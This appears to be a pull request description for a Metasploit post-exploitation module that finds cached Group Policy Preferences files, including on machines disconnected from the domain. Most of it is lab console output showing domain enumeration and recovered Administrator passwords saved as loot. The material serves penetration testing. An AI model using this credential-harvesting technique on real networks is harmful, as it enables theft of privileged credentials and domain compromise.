Group Policy Preferences - Cached

This updates the post GPP module to enumerate cached policy objects on the machine as well. This is beneficial for a couple of reasons:

* Deleting a group policy containing the preference without unlinking it should leave the xml file intact
* A newer policy may not yet apply to a machine (see Win7 example)
* If the machine is currently disconnected from the domain you can still grab creds

Has some small cleanups to code as well and a small correction to the path calculation that still worked (I think it still found stuff with the . directory). I have updated the references as thats what gave me the heads up this was possible.

Oh, and if you are testing Windows XP make sure you instal the group policy preferences extensions as they aren't supported (or stored) unless this is present.

Windows 7 (note this one hasn't had gpupdate applied so shows old/existing value)
```
[*] Checking for group policy history objects...
[+] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
[-] Error accessing C:\Windows\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) TEST from registry
[*] Retrieved DC WIN-2DE8F2QP867.TEST.LAB from registry
[*] Enumerating DCs for TEST on the network...
[+] DC Found: WIN-2DE8F2QP867
[*] Searching for Policy Share on WIN-2DE8F2QP867...
[+] Found Policy Share on WIN-2DE8F2QP867
[*] Searching for Group Policy XML Files...
[*] Parsing file: C:\Users\All Users\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           Administrator
 PASSWORD           Sup3rS3cr3t!
 DOMAIN CONTROLLER  All Users
 DOMAIN             Group Policy
 CHANGED            2014-02-17 20:08:47
 NEVER_EXPIRES?     1
 DISABLED           0

[*] XML file saved to: /home/ben/.msf4/loot/20140217215950_default_192.168.5.101_windows.gpp.xml_341077.txt
[*] Parsing file: \\WIN-2DE8F2QP867\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           Administrator
 PASSWORD           Password7
 DOMAIN CONTROLLER  WIN-2DE8F2QP867
 DOMAIN             test.lab
 CHANGED            2014-02-17 23:56:12
 NEVER_EXPIRES?     1
 DISABLED           0

[*] XML file saved to: /home/ben/.msf4/loot/20140217215951_default_192.168.5.101_windows.gpp.xml_139213.txt
[*] Post module execution completed
```

Windows XP:
```
[*] Checking for group policy history objects...
[+] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
[-] Error accessing C:\WINDOWS\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) TEST from registry
[*] Retrieved DC WIN-2DE8F2QP867.TEST.LAB from registry
[*] Enumerating DCs for TEST on the network...
[+] DC Found: WIN-2DE8F2QP867
[*] Searching for Policy Share on WIN-2DE8F2QP867...
[+] Found Policy Share on WIN-2DE8F2QP867
[*] Searching for Group Policy XML Files...
[*] Parsing file: C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           Administrator
 PASSWORD           Password7
 DOMAIN CONTROLLER  All Users
 DOMAIN             Microsoft
 CHANGED            2014-02-17 23:56:12
 NEVER_EXPIRES?     1
 DISABLED           0

[*] XML file saved to: /home/ben/.msf4/loot/20140217220306_default_192.168.5.102_windows.gpp.xml_918314.txt
[*] Parsing file: \\WIN-2DE8F2QP867\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           Administrator
 PASSWORD           Password7
 DOMAIN CONTROLLER  WIN-2DE8F2QP867
 DOMAIN             test.lab
 CHANGED            2014-02-17 23:56:12
 NEVER_EXPIRES?     1
 DISABLED           0

[*] XML file saved to: /home/ben/.msf4/loot/20140217220306_default_192.168.5.102_windows.gpp.xml_898295.txt
[*] Post module execution completed
```